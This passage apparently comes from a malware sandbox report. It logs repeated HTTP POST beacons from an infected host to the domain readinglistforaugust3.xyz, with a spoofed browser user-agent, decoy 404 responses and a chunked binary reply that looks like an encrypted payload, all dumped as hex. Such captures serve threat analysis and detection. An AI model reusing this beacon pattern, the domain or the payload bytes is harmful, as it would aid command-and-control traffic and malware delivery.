37 fc 83 b0 bc af 0c b6 40 bc 36 85 ac 3d eb 95 d9 ac d0 90 bb ec b0 70 02 81 8c 28 3c d6 ef ff e6 84 27 ed 5c 88 3b c2 00 67 95 39 1c cb dc 34 29 98 ab d6 f1 57 2a 46 c2 26 60 31 2a a2 35 44 9e 74 6d 75 c2 f0 ef 7d f4 59 bc 1b 80 52 c2 27 84 ce 1c f0 ec e6 23 99 55 98 b1 18 04 46 a0 d5 f1 d4 b6 a1 1c 29 5f 35 ba 93 96 9f 5c 20 47 63 f2 1d 60 a7 40 92 ae 0a b2 4a 22 15 cf 89 6d c1 ad 86 39 5d 3e 36 3e e4 02 a7 fd 2f 44 99 dd 1d de Data Ascii: 3ff66w,Ct# [ubbxB"#z+ZQ787.R#T,dC?\|hCx1CrVOsb}_JVHPhc+ZW.Ur`h(Ww93JPK{OnmG=yRt%R#qEJ-./.F4q{'\|f/PW:TCrg"ovIW0/doV"smVR=MwR"#x:A~S;'2SHC6_bfR-L1ZcQW`Oi2x-k<zTQ^6PP%eTg%]][6eg=g!M\|#eyfVzyBfxHj"I'8B%<#.]@qrO&dFF'gPw^bt:9y:P!;c& s8\{JQiy:SJG,Fh$5csc`\|V+HGYJ"mu/[%QW0LryecB1t\|(I#N&Wm3Kf7DA`6'T$zZac(QcN7:bDy4u/[xykN97~X-l8E`V`dGqqA'oeDP]~X-$AgfVDKla)xZS%KV@(f2%%{n012#rt'N#;9)kY7@6=p(<'\;g94)WF&`1*5Dtmu}YR'#UF)_5\ Gc`@J"m9]>6>/D
Aug 24, 2021 14:01:34.049423933 CEST	7368	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 315 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:34.096621990 CEST	7369	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:34.180660009 CEST	7370	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 335 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:34.226949930 CEST	7370	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=3
Aug 24, 2021 14:01:34.299169064 CEST	7371	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 172 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:34.348664999 CEST	7372	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:34.449968100 CEST	7372	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 113 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:34.496056080 CEST	7373	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:34.597403049 CEST	7373	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 137 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:34.644891977 CEST	7374	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:34.734159946 CEST	7375	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 162 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:34.783371925 CEST	7376	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:34.919964075 CEST	7376	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 328 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:34.967175961 CEST	7377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:35.032970905 CEST	7377	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:35.079837084 CEST	7378	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:35.092912912 CEST	7379	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 282 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:35.140077114 CEST	7380	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 413 Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 61 64 69 6e 67 6c 69 73 74 66 6f 72 61 75 67 75 73 74 33 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.10 (Debian) Server at readinglistforaugust3.xyz Port 80</address></body></html>
Aug 24, 2021 14:01:35.236877918 CEST	7380	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://readinglistforaugust3.xyz/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 277 Host: readinglistforaugust3.xyz
Aug 24, 2021 14:01:35.336590052 CEST	7382	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 24 Aug 2021 12:01:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=3 Vary: Accept-Encoding Data Raw: 33 66 66 36 36 0d 0a 00 00 a6 97 8c b4 08 02 7f 77 08 a7 e7 cb 2c c9 aa 43 96 74 c4 0c 23 20 5b f4 75 62 d6 86 a7 f2 12 bc a9 da 62 b6 a0 d6 8e 2a 03 c1 fe f5 78 80 42 09 22 23 7a 2b 5a be 51 83 37 f3 38 8f fd dd 37 2e 52 8c 23 e2 54 03 2c 1e 64 de 43 81 bc a4 b9 18 d8 e0 a3 e5 f9 b6 3f 7c 68 a0 d4 a1 a7 43 ab 78 a6 8f 31 88 43 72 56 b9 f9 4f 85 d1 73 62 c6 80 7d 19 09 03 aa d1 5f fb 83 4a 56 48 b2 50 68 63 5d d5 06 2d e0 35 a7 f9 a1 3b ac da 10 a3 d2 38 14 32 8f d7 8f 4e b3 00 be 22 88 c7 b7 d0 c7 87 45 c7 31 d5 a7 5f 81 cb 5f fb 57 79 93 73 72 62 19 33 be 34 16 e4 9c 32 11 61 7f 14 ef 78 78 30 be 80 f5 fd 31 4f c6 34 5d ee 71 0a 12 63 f7 cc eb 8b 8d 22 4f 81 4a c2 0d 6d b6 2e fa bc 06 b4 83 34 6b 27 30 77 1b bd 55 16 4a e2 50 47 9a 0e 3a 54 e9 43 82 e4 64 23 64 77 40 57 91 f8 32 2f 8f 66 60 93 9d b8 04 64 bf a3 d9 56 e5 57 72 6d f1 d5 54 ce 08 cd f7 dd e2 4e 8e 3d 17 c5 e6 c6 c6 09 b2 86 a4 a3 15 4d b1 77 12 ff a0 c1 94 52 07 2a 22 af 15 27 78 3a 02 f4 74 c6 51 e5 0d bb 27 32 43 c6 48 f8 87 a9 b2 c7 9e 43 b7 af 83 97 e1 1b d3 98 fe 36 5f 10 62 66 52 ef 2d 4c 31 5a 4f 52 54 9f 50 c5 0d 60 4f ff 1b 68 9b df 32 78 1d 2d ce d5 02 04 e7 14 ac f9 cc 13 91 3c 7a 54 19 51 5d 36 06 26 50 da 30 1c 01 8e 39 cb a8 65 17 92 54 67 f4 c1 ed fe 25 0d 1e 5d ea e8 07 3d 23 db 64 bb 2f 57 a1 7f d1 8e 65 c8 f6 1d eb 67 b7 f9 21 4d f3 77 b5 e9 ab 1c 91 23 0c 14 be a3 a6 65 79 cc 26 56 7a b9 0a dc f6 23 62 26 0a c5 53 c4 e4 66 93 38 b6 03 df 4b 2d 12 79 ba 21 49 e8 a8 25 99 a3 a0 cd 1b 38 c0 83 89 02 ed 02 65 12 aa 46 d0 d9 d6 b5 2e 51 fb ed 40 2b 76 1e 68 b3 01 67 cb 7b 20 71 b2 64 e1 26 15 96 a8 11 df f9 d4 af 46 50 bc db bb 68 fc 43 c2 ab 06 50 77 5e e0 62 74 b1 ba 3f 42 57 e9 f4 4e 31 af 22 3b d7 af 49 27 b5 8c 9a b1 20 59 00 73 78 d0 5f 53 07 6a b3 f3 e2 fc 21 65 3a 5f db 53 4f 17 4c 87 3a c6 34 a3 e1 69 6b ff 44 00 e5 63 73 2f 67 b8 63 56 f2 b6 9c b2 75 36 05 f7 c6 a6 7f 21 79 26 ea ee f8 8e ec 19 42 fb 22 6d c1 df e4 bd be 75 2f d3 b2 cc 9f f9 5b aa cf 25 51 57 50 b6 4c 92 32 1b b0 b7 11 7f 63 99 42 8f 1b 74 7c ae 78 c0 49 b5 00 0c df 45 d6 99 23 9a 7f 4e 0c 96 26 c1 04 f3 87 57 67 c3 09 88 43 f4 6b 41 af 89 4b 9b a1 03 ee ec d6 97 ef ec 44 d9 f4 7f 60 98 2b ba ff 27 83 54 24 f8 e5 cc 7a 5a 0f 61 e0 63 89 f3 0c 28 51 b9 f6 12 63 8a 91 b3 1f a2 